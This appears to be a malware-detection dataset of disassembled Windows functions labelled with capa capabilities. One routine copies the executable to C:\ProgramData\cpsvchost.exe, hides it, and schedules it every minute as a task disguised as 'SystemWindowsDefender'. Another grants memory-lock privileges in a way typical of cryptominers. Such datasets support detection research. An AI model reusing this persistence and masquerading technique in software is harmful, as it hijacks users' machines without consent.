joyce8/EMBER2024-capa huggingface dataset:
Function at 0x467ac0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jne 0x467ae1
mov eax, dword [ebx]
cmp eax, dword [ebx + 4]
je 0x467ae1
mov al, 1
jmp 0x467ae3
xor al, al
mov byte [esi + 0x20], al
test al, al
je 0x467b20
mov edi, dword [ebx + 4]
sub edi, dword [ebx]
sar edi, 2
cmp edi, 1
jne 0x467afb
xor edx, edx
jmp 0x467b04
call fcn.0044a85b
xor edx, edx
div edi
mov eax, dword [ebx]
push 0x2d
mov ebx, dword [eax + edx*4]
lea edx, [esi + 0x823]
add ebx, 0x18
mov ecx, dword [ebx]
lea ecx, [ecx + 8]
call fcn.0041d0b0
jmp 0x467b57
mov edi, dword [ecx + 4]
sub edi, dword [ecx]
sar edi, 2
cmp edi, 1
jne 0x467b31
xor edx, edx
jmp 0x467b3d
call fcn.0044a85b
mov ecx, dword [ebp + 8]
xor edx, edx
div edi
mov eax, dword [ecx]
push 0x10
mov ebx, dword [eax + edx*4]
lea edx, [esi + 0x823]
add ebx, 0x18
mov ecx, dword [ebx]
lea ecx, [ecx + 4]
call fcn.0041d020
mov ebx, dword [ebx]
add esp, 4
cmp dword [esi + 0xc44], 2
je 0x467b6f
mov dword [esi + 0xc44], 2
movzx eax, word [esi + 0xc7c]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebx + 2], ax
push 0xa8
push dword [esi + 0xcfc]
call fcn.0042b5b2
push 0x44
call fcn.0042b582
add esp, 0xc
mov dword [ebp + 0xc], eax
mov dword [eax], esi
push 0xa8
call fcn.0042b582
mov edi, dword [0x4b04c0]
add esp, 4
mov dword [esi + 0xcfc], eax
mov dword [eax], esi
test edi, edi
jne 0x467bd7
call fcn.00413740
test eax, eax
jne 0x467bd7
mov dword [0x4b04c0], 0x4b04c8
mov edi, 0x4b04c8
mov edx, dword [esi + 0xcfc]
lea eax, [edi + 8]
mov dword [edx + 4], edi
lea ecx, [edx + 0x10]
mov dword [edx + 8], 0xc
mov dword [edx + 0x2c], 0x20
mov dword [ecx], eax
mov eax, dword [edi + 0xc]
mov dword [edx + 0x14], eax
mov dword [eax], ecx
mov dword [edi + 0xc], ecx
mov dword [edx + 0x18], 0xffffffff
mov dword [edx + 0x30], 0
mov dword [edx + 0x40], 0
mov dword [edx + 0x8c], 0
mov dword [edx + 0x98], 0
mov dword [edx + 0x90], 0xffffffff
mov dword [edx + 0x3c], 0
mov dword [edx + 0xa4], 0
mov dword [edx + 0xa0], 0
mov dword [edx + 0x9c], 0
mov dword [edx + 0x94], 0
mov edi, dword [esi + 0xcfc]
mov eax, dword [edi + 0x90]
cmp eax, 0xffffffff
je 0x467c9b
push 4
lea ecx, [ebp + 8]
mov dword [ebp + 8], 1
push ecx
push 1
push 6
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x467c9b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jne 0x467ca2
or dword [edi + 0x2c], 0x2000000
mov edx, dword [esi + 0xcfc]
cmp dword [edx + 8], 0xc
jne 0x467cd5
movzx eax, word [ebx]
cmp eax, 2
jne 0x467cbd
mov eax, 0x10
jmp 0x467cc7
cmp eax, 0x17
jne 0x467cd5
mov eax, 0x1c
push ecx
mov ecx, dword [ebp + 0xc]
push eax
push ebx
call fcn.0041b470
add esp, 0xc
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
Function at 0x46f7e0
Capabilities:
Copy file
Create process on windows
Schedule task via schtasks
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4847a6
mov eax, dword fs:[0]
push eax
sub esp, 0x270
push esi
mov eax, dword [0x4a206c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
mov esi, eax
mov dword [ebp - 0x18], 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0
push eax
push 1
push 0x4949d0
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x46f856
push dword [ebp - 0x14]
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
sub esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.0040a680
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0xd0]
push 1
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xc4], 6
je 0x46f8bf
mov eax, dword [ebp + 0xc]
push 0x4949f8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
push 0x494a18
push 0x494a70
push 0x494a80
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 7
push 0x494a88
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
call fcn.00449e7c
mov esi, dword [ebp + 0xc]
push 0x494aa8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
push str._Create__SC_MINUTE__MO_1__TN_SystemWindowsDefender__TR_C:ProgramDatacpsvchost.exe__F
push str.schtasks.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 7
push str.C:ProgramDatacpsvchost.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push dword [ebp + 8]
lea ecx, [ebp - 0x27c]
call fcn.00464fa0
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 1
call fcn.00464200
push 0xc
push dword [ebp - 0x274]
mov dword [ebp - method.App.virtual_0], vtable.App.0
call fcn.0042b5b2
push 0xcc
push dword [ebp - 0x278]
call fcn.0042b5b2
add esp, 0x10
mov dword [ebp - method.IConsoleListener.virtual_0], vtable.IConsoleListener.0
lea ecx, [ebp - 0xd0]
call fcn.0040a4d0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x46fad0
Capabilities:
Manipulate user privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
call fcn.0046fd20
test eax, eax
je 0x46faef
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x10]
xor esi, esi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, 1
jne 0x46fbf4
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [esp + 0xc]
push eax
push esi
push esi
push 1
push dword [esp + 0x20]
mov dword [esp + 0x20], esi
call edi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x46fb3e
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push ecx
push eax
push esi
push 1
push dword [esp + 0x20]
call edi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x46fbf4
lea eax, [esp + 0x14]
xorps xmm0, xmm0
push eax
push 0xf0fff
lea eax, [esp + 0x28]
movaps xmmword [esp + 0x28], xmm0
push eax
xor edi, edi
movq qword [esp + 0x3c], xmm0
push edi
call dword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
jne 0x46fbdc
mov dword [esp + 0x18], 0x2c002a
mov eax, dword [esp + 0x18]
push 1
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push dword [esi]
mov dword [esp + 0x28], str.SeLockMemoryPrivilege
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
test eax, eax
jne 0x46fbd2
push str.Huge_pages_support_was_successfully_enabled__but_reboot_required_to_use_it
push 2
push dword [0x4b01a0]
call fcn.00466620
add esp, 0xc
mov edi, 1
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_LsaClose]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
test edi, edi
je 0x46fbf4
call fcn.0046fd20
test eax, eax
jne 0x46fae4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x472020
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x16c
mov eax, dword [0x4a206c]
xor eax, esp
mov dword [esp + 0x168], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x18]
push 0xc8
mov esi, edx
mov dword [esp + 0x18], edi
push 0
push eax
mov dword [esp + 0x18], esi
mov ebx, ecx
call fcn.00443980
add esp, 0xc
cmp esi, 0x88
jl 0x472154
mov eax, 0xf0f0f0f1
lea edi, [esp + 0x28]
mul dword [esp + 0xc]
sub edi, ebx
lea esi, [ebx + 0x80]
mov ecx, edx
shr ecx, 7
imul eax, ecx, 0xffffff78
mov dword [esp + 0x10], ecx
add dword [esp + 0xc], eax
lea ecx, [esp + 0x18]
xor eax, eax
cmp ecx, esi
ja 0x4720a9
lea ecx, [esp + 0x98]
cmp ecx, ebx
jae 0x472110
lea ecx, [esi - 0x60]
nop dword [eax]
movups xmm0, xmmword [esp + eax*8 + 0x18]
lea ecx, [ecx + 0x40]
movups xmm1, xmmword [ecx - 0x60]
pxor xmm1, xmm0
movups xmmword [esp + eax*8 + 0x18], xmm1
movups xmm0, xmmword [esp + eax*8 + 0x28]
movups xmm1, xmmword [ecx - 0x50]
pxor xmm1, xmm0
movups xmmword [esp + eax*8 + 0x28], xmm1
add eax, 8
movups xmm0, xmmword [edi + ecx - 0x50]
movups xmm1, xmmword [ecx - 0x40]
pxor xmm1, xmm0
movups xmmword [edi + ecx - 0x50], xmm1
movups xmm0, xmmword [edi + ecx - 0x40]
movups xmm1, xmmword [ecx - 0x30]
pxor xmm1, xmm0
movups xmmword [edi + ecx - 0x40], xmm1
cmp eax, 0x10
jl 0x4720b0
cmp eax, 0x11
jge 0x472126
nop dword [eax + eax]
mov ecx, dword [esi + eax*8 - 0x80]
xor dword [esp + eax*8 + 0x18], ecx
mov ecx, dword [esi + eax*8 - 0x7c]
xor dword [esp + eax*8 + 0x1c], ecx
inc eax
cmp eax, 0x11
jl 0x472110
lea ecx, [esp + 0x18]
call fcn.00471710
add ebx, 0x88
add esi, 0x88
sub edi, 0x88
sub dword [esp + 0x10], 1
jne 0x472094
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 0x14]
push esi
lea eax, [esp + 0xe4]
push ebx
push eax
call fcn.00443400
add esp, 0xc
mov byte [esp + esi + 0xe0], 1
inc esi
mov eax, 0x88
sub eax, esi
push eax
lea eax, [esp + 0xe4]
add eax, esi
push 0
push eax
call fcn.00443980
or byte [esp + 0x173], 0x80
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
movups xmm0, xmmword [esp + ecx*8 + 0x18]
movups xmm1, xmmword [esp + ecx*8 + 0xe0]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x18], xmm1
movups xmm0, xmmword [esp + ecx*8 + 0x28]
movups xmm1, xmmword [esp + ecx*8 + 0xf0]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x28], xmm1
movups xmm0, xmmword [esp + ecx*8 + 0x38]
movups xmm1, xmmword [esp + ecx*8 + 0x100]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x38], xmm1
movups xmm0, xmmword [esp + ecx*8 + 0x48]
movups xmm1, xmmword [esp + ecx*8 + 0x110]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x48], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x4721a0
cmp ecx, 0x11
jge 0x472231
shl ecx, 3
nop dword [eax + eax]
mov eax, dword [esp + ecx + 0xe0]
xor dword [esp + ecx + 0x18], eax
mov eax, dword [esp + ecx + 0xe4]
xor dword [esp + ecx + 0x1c], eax
add ecx, 8
cmp ecx, 0x88
jl 0x472210
lea ecx, [esp + 0x18]
call fcn.00471710
push 0xc8
mov eax, ecx
push eax
push edi
call fcn.00443400
mov ecx, dword [esp + 0x180]
add esp, 0xc
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0042b571
mov esp, ebp
pop ebp
ret
Function at 0x4747e0
Capabilities:
Hash data using sha256

Disassembly:
mov dword [ecx], 0x6a09e667
mov dword [ecx + 4], 0xbb67ae85
mov dword [ecx + 8], 0x3c6ef372
mov dword [ecx + 0xc], 0xa54ff53a
mov dword [ecx + 0x10], 0x510e527f
mov dword [ecx + 0x14], 0x9b05688c
mov dword [ecx + 0x18], 0x1f83d9ab
mov dword [ecx + 0x1c], 0x5be0cd19
mov dword [ecx + 0x3c], 0
mov dword [ecx + 0x38], 0
mov dword [ecx + 0x34], 0
mov dword [ecx + 0x30], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x28], 0
mov dword [ecx + 0x24], 0
mov dword [ecx + 0x20], 0
ret
Function at 0x47baf0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 8
mov eax, edx
mov dword [ebp - 4], eax
push esi
push edi
movups xmm6, xmmword [eax]
mov edi, ecx
pshufd xmm0, xmm6, 0x55
movd ecx, xmm0
pshufd xmm0, xmm6, 0xff
movups xmm5, xmmword [edi]
mov eax, ecx
pslldq xmm5, 4
shr eax, 0x10
movaps xmm4, xmm5
movzx eax, al
pxor xmm4, xmmword [edi]
pslldq xmm5, 4
movzx esi, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or esi, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
movzx eax, cl
movd ecx, xmm0
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
movd xmm2, esi
movzx edx, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or edx, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
movzx eax, cl
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
mov eax, esi
mov ecx, edx
ror eax, 8
ror ecx, 8
xor eax, 8
xor ecx, 8
movd xmm0, edx
punpckldq xmm2, xmm0
movd xmm1, eax
movd xmm3, ecx
punpckldq xmm1, xmm3
punpckldq xmm2, xmm1
movaps xmm1, xmm5
pxor xmm1, xmm4
pslldq xmm5, 4
pshufd xmm0, xmm2, 0xff
pxor xmm1, xmm5
pxor xmm0, xmm1
movups xmmword [edi], xmm0
call fcn.0047b8e0
movaps xmm2, xmm6
pshufd xmm3, xmm0, 0xaa
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm6
movaps xmm0, xmm2
mov eax, dword [ebp - 4]
pxor xmm0, xmm1
pslldq xmm2, 4
pxor xmm0, xmm2
pxor xmm0, xmm3
pop edi
movups xmmword [eax], xmm0
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x47bcc0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 8
mov eax, edx
mov dword [ebp - 4], eax
push esi
push edi
movups xmm6, xmmword [eax]
mov edi, ecx
pshufd xmm0, xmm6, 0x55
movd ecx, xmm0
pshufd xmm0, xmm6, 0xff
movups xmm5, xmmword [edi]
mov eax, ecx
pslldq xmm5, 4
shr eax, 0x10
movaps xmm4, xmm5
movzx eax, al
pxor xmm4, xmmword [edi]
pslldq xmm5, 4
movzx esi, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or esi, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
movzx eax, cl
movd ecx, xmm0
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
movd xmm2, esi
movzx edx, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or edx, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
movzx eax, cl
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
mov eax, esi
mov ecx, edx
ror eax, 8
ror ecx, 8
xor eax, 4
xor ecx, 4
movd xmm0, edx
punpckldq xmm2, xmm0
movd xmm1, eax
movd xmm3, ecx
punpckldq xmm1, xmm3
punpckldq xmm2, xmm1
movaps xmm1, xmm5
pxor xmm1, xmm4
pslldq xmm5, 4
pshufd xmm0, xmm2, 0xff
pxor xmm1, xmm5
pxor xmm0, xmm1
movups xmmword [edi], xmm0
call fcn.0047b8e0
movaps xmm2, xmm6
pshufd xmm3, xmm0, 0xaa
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm6
movaps xmm0, xmm2
mov eax, dword [ebp - 4]
pxor xmm0, xmm1
pslldq xmm2, 4
pxor xmm0, xmm2
pxor xmm0, xmm3
pop edi
movups xmmword [eax], xmm0
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x47be20
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm3, xmmword [ecx]
movups xmm4, xmmword [edx]
pslldq xmm3, 4
movaps xmm1, xmm3
pslldq xmm3, 4
pxor xmm1, xmmword [ecx]
movaps xmm2, xmm3
pxor xmm2, xmm1
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm4, 2
pshufd xmm0, xmm0, 0xff
pxor xmm2, xmm0
movups xmmword [ecx], xmm2
movaps xmm2, xmm4
pslldq xmm2, 4
movaps xmm0, xmm2
pslldq xmm2, 4
pxor xmm0, xmm4
movaps xmm1, xmm2
pxor xmm1, xmm0
pslldq xmm2, 4
aeskeygenassist xmm0, xmmword [ecx], 0
pxor xmm1, xmm2
pshufd xmm0, xmm0, 0xaa
pxor xmm1, xmm0
movups xmmword [edx], xmm1
ret
Function at 0x47be90
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 8
mov eax, edx
mov dword [ebp - 4], eax
push esi
push edi
movups xmm6, xmmword [eax]
mov edi, ecx
pshufd xmm0, xmm6, 0x55
movd ecx, xmm0
pshufd xmm0, xmm6, 0xff
movups xmm5, xmmword [edi]
mov eax, ecx
pslldq xmm5, 4
shr eax, 0x10
movaps xmm4, xmm5
movzx eax, al
pxor xmm4, xmmword [edi]
pslldq xmm5, 4
movzx esi, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or esi, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
movzx eax, cl
movd ecx, xmm0
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
movd xmm2, esi
movzx edx, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or edx, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
movzx eax, cl
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
mov eax, esi
mov ecx, edx
ror eax, 8
ror ecx, 8
xor eax, 2
xor ecx, 2
movd xmm0, edx
punpckldq xmm2, xmm0
movd xmm1, eax
movd xmm3, ecx
punpckldq xmm1, xmm3
punpckldq xmm2, xmm1
movaps xmm1, xmm5
pxor xmm1, xmm4
pslldq xmm5, 4
pshufd xmm0, xmm2, 0xff
pxor xmm1, xmm5
pxor xmm0, xmm1
movups xmmword [edi], xmm0
call fcn.0047b8e0
movaps xmm2, xmm6
pshufd xmm3, xmm0, 0xaa
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm6
movaps xmm0, xmm2
mov eax, dword [ebp - 4]
pxor xmm0, xmm1
pslldq xmm2, 4
pxor xmm0, xmm2
pxor xmm0, xmm3
pop edi
movups xmmword [eax], xmm0
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x47c060
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 8
mov eax, edx
mov dword [ebp - 4], eax
push esi
push edi
movups xmm6, xmmword [eax]
mov edi, ecx
pshufd xmm0, xmm6, 0x55
movd ecx, xmm0
pshufd xmm0, xmm6, 0xff
movups xmm5, xmmword [edi]
mov eax, ecx
pslldq xmm5, 4
shr eax, 0x10
movaps xmm4, xmm5
movzx eax, al
pxor xmm4, xmmword [edi]
pslldq xmm5, 4
movzx esi, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or esi, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
movzx eax, cl
movd ecx, xmm0
shl esi, 8
movzx eax, byte [eax + str.cw]
or esi, eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
movd xmm2, esi
movzx edx, byte [eax + str.cw]
mov eax, ecx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or edx, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
movzx eax, cl
shl edx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
mov eax, esi
mov ecx, edx
ror eax, 8
ror ecx, 8
xor eax, 1
xor ecx, 1
movd xmm0, edx
punpckldq xmm2, xmm0
movd xmm1, eax
movd xmm3, ecx
punpckldq xmm1, xmm3
punpckldq xmm2, xmm1
movaps xmm1, xmm5
pxor xmm1, xmm4
pslldq xmm5, 4
pshufd xmm0, xmm2, 0xff
pxor xmm1, xmm5
pxor xmm0, xmm1
movups xmmword [edi], xmm0
call fcn.0047b8e0
movaps xmm2, xmm6
pshufd xmm3, xmm0, 0xaa
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm6
movaps xmm0, xmm2
mov eax, dword [ebp - 4]
pxor xmm0, xmm1
pslldq xmm2, 4
pxor xmm0, xmm2
pxor xmm0, xmm3
pop edi
movups xmmword [eax], xmm0
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x48120a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
mov eax, dword [0x4a206c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
and dword [ebp - 0x8c], 0
mov esi, ecx
push edi
push 2
pop ebx
cmp dword [esi + 0x200], 0x80000001
mov edi, edx
push 9
pop edx
push 0xa
pop ecx
push 0xb
pop eax
push 5
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0x7c], ebx
pop ebx
mov dword [ebp - 0x2c], 0x14
mov dword [ebp - 0x28], 0x3a
mov dword [ebp - 0x24], 0x16
mov dword [ebp - 0x20], 0x37
mov dword [ebp - 0x1c], 0x19
mov dword [ebp - 0x18], 0x3b
mov dword [ebp - 0x14], 0x1e
mov dword [ebp - 0x10], 0x39
mov dword [ebp - 0xc], 0x1f
mov dword [ebp - 8], 0x38
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0xf0], 0x3f
mov dword [ebp - 0xe8], 0x40
mov dword [ebp - 0xe4], 5
mov dword [ebp - 0xe0], 0x41
mov dword [ebp - 0xdc], 6
mov dword [ebp - 0xd8], 0x43
mov dword [ebp - 0xd4], 7
mov dword [ebp - 0xd0], 0x42
mov dword [ebp - 0xcc], 8
mov dword [ebp - 0xc8], 0x44
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xc0], 0x45
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xb8], 0x46
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], 0x53
mov dword [ebp - 0xac], 0xc
mov dword [ebp - 0xa8], 0x48
mov dword [ebp - 0xa4], 0xd
mov dword [ebp - 0xa0], 0x49
mov dword [ebp - 0x9c], 0x10
mov dword [ebp - 0x98], 0x55
mov dword [ebp - 0x94], 0x15
mov dword [ebp - 0x90], 0x56
mov dword [ebp - 0x88], 0x4a
mov dword [ebp - 0x84], 1
mov dword [ebp - 0x80], 0x4b
mov dword [ebp - 0x78], 0x4c
mov dword [ebp - 0x74], 3
mov dword [ebp - 0x70], 0x4d
mov dword [ebp - 0x6c], 4
mov dword [ebp - 0x68], 0x4e
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0x4f
mov dword [ebp - 0x5c], 6
mov dword [ebp - 0x58], 0x50
mov dword [ebp - 0x54], 7
mov dword [ebp - 0x50], 0x51
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], 0x5a
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], 0x5b
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], 0x5c
mov dword [ebp - 0x34], 0xc
mov dword [ebp - 0x30], 0x5d
jb 0x48143c
push edi
push dword [esi + 0x21c]
mov edx, ebx
lea ecx, [ebp - 0x2c]
call fcn.00481011
push edi
push dword [esi + 0x218]
lea ecx, [ebp - 0xf4]
push 0xd
pop edx
call fcn.00481011
add esp, 0x10
cmp dword [esi + 0x200], reloc.WS2_32.dll_getsockopt
jb 0x48145f
push edi
push dword [esi + 0x27c]
lea ecx, [ebp - 0x8c]
push 0xc
pop edx
call fcn.00481011
pop ecx
pop ecx
cmp dword [esi + 0x200], 0x8000001a
jb 0x481485
mov byte [edi + 0x16c], 1
mov eax, dword [esi + 0x3a0]
and eax, 1
inc eax
shl eax, 6
mov dword [edi + 0x168], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042b571
mov esp, ebp
pop ebp
ret
Function at 0x405620
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x40d1e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
movups xmm0, xmmword [eax]
push ecx
movups xmm1, xmmword [eax + 0x10]
movd eax, xmm0
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
lea eax, [ebp - 0x164]
push eax
call fcn.00405d70
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.00404570
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.004048c0
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.004065b0
lea eax, [ebp - 0x114]
push eax
call fcn.00406b90
lea eax, [ebp - 0x114]
push eax
call fcn.00406a80
push 0x50
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0040c9d0
add esp, 0x40
lea eax, [ebp - 0x7c]
push eax
push esi
call fcn.00405710
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0040cc8c
mov esp, ebp
pop ebp
ret